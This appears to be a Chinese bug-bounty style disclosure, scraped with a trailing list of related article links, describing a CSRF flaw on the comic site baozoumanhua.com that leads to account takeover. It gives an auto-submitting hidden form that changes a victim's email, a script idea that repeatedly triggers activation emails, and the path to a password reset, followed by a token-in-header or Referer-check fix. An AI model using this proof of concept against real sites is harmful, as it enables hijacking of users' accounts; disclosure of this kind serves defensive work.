提交地址:http://baozoumanhua.com/users/8311358
提交数据:
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
a??
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
aaaxasa1@qq.com
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
?????1é????±

这是有token的

接着我写一个表单
<form id="csrf" action="http://baozoumanhua.com/users/用户id" method="post">
<input type=hidden name="utf8" value="a??">
<input type=hidden name="_method" value="put">
<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
<input type=hidden name="user[email]" value="你的邮箱">
<input type=hidden name="commit" value="?????1é????±">
<script>
document.getElementById('csrf').submit(2881064151);
</script>
</form>
再点击发送激活邮件 抓包
GET:http://baozoumanhua.com/my/resend/用户ID

此时我将表单的 email 换成我的有效邮箱

接着打开并且抓包

直接提示修改成功 无视token

可以看到 先get访问了 a.htm 然后再post提交到 暴走漫画

现在邮箱改掉了 只需要 访问http://baozoumanhua.com/my/resend/8311358 就行
至于这个 做个弹窗到新窗口 弹到b.htm b.htm 用js写个每一秒GET访问一次
http://baozoumanhua.com/my/resend/2881064151

这时我被弹到了b.htm, 被弹到b.htm后会很多次get访问http://baozoumanhua.com/my/resend/8311358

接着我就收到了激活邮件

现在被激活了 就可以去http://baozoumanhua.com/fetchpass 发送一个重置密码邮件。
=。= 接着就可以改他的密码了
修复方案:
可以像上次那个漏洞一样 WooYun: 暴走漫画越权发暴漫作品(拿王尼玛帐号测试)利用打赏功能发财致富走上人生巅峰
把token带到 http头部 或者验证一下referer。

把token带到 http头部 或者验证一下referer的更多相关文章

  1. vue拦截器实现统一token,并兼容IE9验证

    项目中使用vue搭建前端页面,并通过axios请求后台api接口,完成数据交互.如果验证口令token写在在每次的接口中,也是个不小的体力活,而且也不灵活.这里分享使用vue自带拦截器,给每次请求的头 ...

  2. Token:服务端身份验证的流行方案【转】

    01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...

  3. Token:服务端身份验证的流行方案

    01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...

  4. [PHP] - Laravel - CSRF token禁用方法与排除验证csrf_token的url设置

    laravel5.1排除验证csrf_token的url设置 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Htt ...

  5. java EE : http 协议响应头部信息验证

    一  location :*****   302   重定向  private void doWork(HttpServletRequest req, HttpServletResponse resp ...

  6. CSRF跨站请求伪造与XSS跨域脚本攻击讨论

    今天和朋友讨论网站安全问题,聊到了csrf和xss,刚开始对两者不是神明白,经过查阅与讨论,整理了如下资料,与大家分享. CSRF(Cross-site request forgery):跨站请求伪造 ...

  7. golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息

    golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息 Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放 ...

  8. ASP.NET Web APIs 基于令牌TOKEN验证的实现(保存到DB的Token)

    http://www.cnblogs.com/niuww/p/5639637.html 保存到DB的Token 基于.Net Framework 4.0 Web API开发(4):ASP.NET We ...

  9. SpringBoot集成JWT实现token验证

    原文:https://www.jianshu.com/p/e88d3f8151db JWT官网: https://jwt.io/ JWT(Java版)的github地址:https://github. ...

随机推荐

  1. javascript 核心语言笔记 4 - 表达式和运算符

    表达式(expression)是 JavaScript 中的一个短语(phrases),JavaScript 解释器会将其计算(evaluate)出一个结果.程序中的常量.变量名.数组访问等都是表达式 ...

  2. php五种常见的设计模式(转载)

    很多人都想着写博客来记录编程生活中的点滴,我也不例外,但想了好长时间不知道写什么........万事开头难,先转载一篇吧..... 设计模式 一书将设计模式引入软件社区,该书的作者是 Erich Ga ...

  3. 手把手教你玩转nginx负载均衡(一)----使用vitualBox创建虚拟机

    引言 作为一个web程序员,有时候需要想尽办法来利用有限的资源来产生最大程度的负载,除了提高硬件配置,增加带宽之外,CDN加速,DNS加速,缓存,还可以利用反向代理.但是要说反向代理,就不的不说ngi ...

  4. JS string 截取

    subStubstring(a,b); a:开始索引 b:结束索引 subStr(c,d) c:开始索引 d:截取数量.

  5. Android 敏感 API 的说明

    从中国的国情来看,Google 的诸多产品,包括 gmail,Android 官方市场 Google Play 正处于并将长期处于访问不了的状态.国内几亿网民也要生活,于是墙内出现了“百家争鸣”的场面 ...

  6. 使用Lucene索引和检索POI数据

    1.简介 关于空间数据搜索,以前写过<使用Solr进行空间搜索>这篇文章,是基于Solr的GIS数据的索引和检索. Solr和ElasticSearch这两者都是基于Lucene实现的,两 ...

  7. CommonJS, AMD 和 RequireJS之间的关系(转载)

    先说说CommonJS CommonJS - 大家是不是觉得JavaScript仅仅是一个客户端的编译语言,其实JavaScript设计之初不仅仅是针对客户端设计的语言.后来只是由于Web的迅速流行, ...

  8. PHP环境搭建

    1.安装wampserver,安装成功后浏览器中输入:localhost可以打开下面的页面 2.想配置本机IP打开文件的话,单击wampserver-Apache-httped.conf,打开文件,修 ...

  9. python 小程序大文件的拆分合并

    1. 将大文件拆分为小文件 I 通过二进制的方式将大文件读取出来,将其拆分存,以不同的文件方式存放在一个目录下面 II 提供两种操作方式交互式和命令行模式 #! usr/bin/python # -* ...

  10. (转)java自带线程池和队列详细讲解 - CSDN过天的专栏

    一简介 线程的使用在java中占有极其重要的地位,在jdk1.4极其之前的jdk版本中,关于线程池的使用是极其简陋的.在jdk1.5之后这一情况有了很大的改观.Jdk1.5之后加入了java.util ...